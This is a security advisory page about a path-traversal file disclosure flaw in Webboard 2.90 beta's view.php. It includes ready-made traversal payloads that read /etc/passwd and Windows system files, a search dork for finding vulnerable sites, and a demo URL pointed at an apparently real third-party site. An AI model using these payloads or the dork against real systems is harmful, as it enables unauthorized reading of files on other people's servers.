Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

2009.07.28
Credit: MrDoug
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

Webboard <= v.2.90 beta Remote File Disclosure Vulnerability ============================================================= Author: MrDoug Email: mrdoug13 [at] gmail [dot] com Greetz to all my friends ============================================================= There are 3 vulnerable calls to fopen() in "/webboard/view.php" They are on lines 7, 109 and 113. I have not actually read the source but based on tests I would GUESS they look something like this... 7: fopen('title/' . $_GET['topic'] . '.txt'); ... 109: fopen('counter/read/' . $_GET['topic'] . '.txt'); ... 113: fopen('counter/read/' . $_GET['topic'] . '.txt'); IMPORTANT: Due to the trailing ".txt", retrieving files with different extensions will be difficult unless you are able to get a null byte through without it being escaped. ============================================================= Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00 Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula Dork: inurl:"webboard/view.php?topic=" Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Referencje:

http://xforce.iss.net/xforce/xfdb/50861
http://www.milw0rm.com/exploits/8823


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top